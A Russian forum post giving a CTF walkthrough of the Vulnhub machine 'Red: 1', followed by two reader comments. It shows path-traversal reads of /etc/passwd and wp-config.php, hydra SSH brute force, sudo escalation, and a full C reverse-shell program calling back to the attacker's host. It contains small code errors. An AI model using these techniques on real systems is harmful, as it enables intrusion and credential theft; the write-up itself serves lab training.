• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Writeup RED: 1 Vulnhub - Отбиваем систему у психопата

INPC

Grey Team
21.08.2019
77
161
BIT
134
Приветствую!

Представляю вашему вниманию прохождение относительно новой машины (27 Oct 2021) с Vulnhub -

Исходные данные следующие:
Дана машина Ubuntu, которую взломал маньяк-психопат Red. Наша задача - захватить её обратно (т.е. получить права пользователя root. Делать мы это будем, как обычно с Kali Linux.
Ну, начнем пожалуй.

Узнаём ip адрес атакуемой машины командой:
~$ sudo netdiscover

У меня ip нужной машины = 192.168.3.156.
Теперь просканируем машину nmap'oм:
~$ nmap -A -p- -v 192.168.3.156

1639693552147.png


Видим открытые порты 22 и 80, ssh и seb-server соответственно. Так же, сразу видно что сайт создан на wordpress, версии 5.8.1, версию web-сервера apache (2.4.41) и заголовок, сообщающий нам, что сайт взломан.
Перейдя на сайт, видим, что он плохо прогрузился и заглянув в исходники, становится ясно, почему - нужно добавить домен в файл hosts:
~$ cat "192.168.3.156 redrocks.win" >> /etc/hosts

Снова переходим на сайт ( ) и в этот раз, видим, что повсюду надписи, гласящие, что сайт взломан.
Перебор директорий сайта ничего не дал, wpscan и другие сканеры (такие, как XAttacker и nikto) тоже ничего полезного не выявили, однако просматривая источники нашлись интересные ссылки (на самом деле, я уже просто просматривал все подряд):
http://redrocks.win/wp-json/
и
http://redrocks.win/feed/

1639694692354.png


1639694730738.png


Еще я попробовал экслоит CVE-2017-5487 и добыл имя пользователя wordpress:

1639695083973.png


Тоже самое видно, если перейти на:
http://redrocks.win/wp-json/wp/v2/users/1

1639695165381.png


Перебор id пользователей ничего не дает, видимо это тупиковое направление. Но у нас есть еще одна интересная ссылка http://redrocks.win/feed/ , перейдя по которой скачивается файл с исходником какой-то страницы, в котором содержится язвительный комментарий с подсказкой:

1639695430364.png


Обыскав весь сайт и даже попробовав побрутфорсить пароль к админке, пришлось присмотреться к подсказке повнимательнее:
<p><!-- Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway --></p>

Слова "Looking For It" и "ask Mr. Miessler" выглядят подозрительно. аббревиатура 1-го - LFI, похоже это намек. Вбив в гугл "Mr. Miessler LFI" был найден репозиторий GitHub - danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. и из него же, долгими ковыряниями SecLists/CommonBackdoors-PHP.fuzz.txt at master · danielmiessler/SecLists

Чуток поразбиравшись, что тут для чего, догадываемся, что надо попытаться профаззить сайт со словарем CommonBackdoors-PHP.fuzz.txt
~$ gobuster dir -w CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir.txt

В результате получаем вывод:

1639696154702.png


Перейдя видим пустую страницу, эксперемент с запросами ничего не дал, поэтому идем в гугл с вопросом: "NetworkFileManagerPHP.php backdoor". И сразу же находится репозиторий
Время использовать wfuzz:
~$ wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/wfuzz/wordlist/general/big.txt

1639696637863.png


~$ wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/wfuzz/wordlist/general/big.txt --hh 00

1639696710910.png


Вот мы и получили нужный параметр (key), который мы и будем использовать, например прочитаем файл /etc/passwd:
http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../../../../etc/passwd

1639696865436.png


Сразу же видим имена 3-х пользователей, кроме рута: john, ippsec и oxdf, возьмем их на заметку.
Сразу же стоит глянуть конфиг вордпресса. Для этого пошлем запрос http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
а в ответ получим закодированный в base64 wp-config.php
расшифровываем base64 и просматривая страницу видим логин и пароль:

1639697128253.png


1639697158170.png


1639697185266.png


НО! ssh данный пароль не принимает. Обидно!
Долго ползая дальше по сайту, я наконец-то догадался просмотреть код самой страницы шелла:
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

В ответ так же, как и в прошлый раз приходит код страницы, в котором есть еще одна подсказка:
That password alone won't help you! Hashcat says rules are rules
Один только этот пароль вам не поможет! Hashcat говорит, что правила есть правила
Что-то странное, снова топаем в поисковик, про "Hashcat rules", сразу же нагугливается best64.rule и почитав описание используем hashcat следующим образом:
~$ hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule
1639697602335.png


Получаем вывод возможных паролей и пробрутив их через гидру получаем сам пароль:
~$ hydra -l john -P passwd.txt 192.168.3.156 ssh
[22][ssh] host: 192.168.3.156 login: john password: R3v_m4lwh3r3_k1nG!!21

1639697700163.png


И тут становится понятно, что машиной завладел какой-то особо опасный маньяк-психопат. Раз в минуту приходят стебные сообщения от Red'a, cat заменен на страшный vim, пароль от учетки постоянно меняются, а нас периодически выкидывает из сесси. Просто содомия какая-то. Полазив по целевой машине минут 7, я уже хотел бросить это дело, но все-таки решил, что надо добить её, назло создателю...
Просмотрев файлы в каталоге пользователя видно некий note_from_red.txt, в котором только издевка:
Having a little trouble with the cat command blue?

Первым делом проверим, что можно сделать из-под sudo:
john@red:~$ sudo -l
(ippsec) NOPASSWD: /usr/bin/time

1639698158670.png


О, это просто, повышаем привелегии:

john@red:~$ sudo -u ippsec /usr/bin/time /bin/bash
1639698175707.png


Отлично, просмотрев, что за файлы есть в директории пользователя ippsec, видим наш флаг user.txt. Вот только - это обманка, там опять стеб:
Come on now Blue! You really think it would be that easy to get the user flag? You are not even on the right user! Hahaha

1639698347610.png


Спустя много попыток и нервов (помним про все пакости реда), просматривая к чему у пользователя ippsec есть доступ:
john@red:~$ find / -group ippsec -type d 2> /dev/null

Видим гит:
/var/www/wordpress/.git

1639698458101.png


Это неспроста! Идем смотреть и видим 2 файла:

1639698576606.png


supersecretfileuc.c <- исходник файла rev и все, что он делает - выводит сообщение "Get out of here Blue!"

1639698611619.png


Дальше я очень долго лазил по серверу и пытался что-то сделать, но в итоге, методом тыка оказалось, что этот файл (rev) периодически перекомпилируется и выполняется (предположительно), так что я удалил оба файла и создал свой файл исходника с реверс-шеллом на С:
C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

void main(){
    int port = 1337;
    struct sockaddr_in revsockaddr;
 
    int sock = socket(AF_INET, SOC_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.3.111"); // IP основной машины
 
    connect(sock, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
    dup2(sock,0);
    dup2(sock,1);
    dup2(sock,2);
 
    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
 
    return 0;
}

1639698817639.png


Запускаем прослушиватель на основной машине командой:
~$ nc -lnvp 1337

И через пару минут получаем шел рута

1639698889020.png


Он не очень удобный, поэтому следует создать полноценный терминал командой:
~$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Вот и все МЫ ЕСТЬ РУТ!
Идем смотреть наши флаги:

1639699011444.png

1639699026529.png


А они все равно фейковые)

Ну что ж, вот и подошел к концу разбор очередной коробки, на самом деле это было довольно не приятно, данная статья просто не может выразить все эмоции, от того, как сильно эта машина бесила и сколько нервов съела.
*напоминаю*
Раз в минуту приходят стебные сообщения от Red'a, cat заменен на страшный vim, пароли от учетки постоянно меняются, а нас периодически (раз в пару минут) выкидывает из сесси

Спасибо всем, кто дочитал этот врайтап. Надеюсь было интересно.
P.S. Я думаю написать еще отдельно статью о том, как сделать подобную подлянку и как её исправить, если её подложили вам, но это точно будет позже, пишите, кстати, если все-таки интересно как же это сделать)
 
Последнее редактирование модератором:

Qulan

Red Team
06.12.2020
171
512
BIT
364
Не решал, но как по мне, достаточно интереснаяя коробка.
Кстати, если по сценарию у нас есть инфа что хост уже был взломан, то я бы сразу фазил на предмет бекдора)) Мне кажется это очень логичным решением. Ну и если бы не вышло, то топал бы уже как есть)))
Пиши еще
 

maza

Green Team
03.07.2018
4
2
BIT
7
Эта тачка очень напоминает машинку , тоже было весело и тоже потрепала нервы))
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!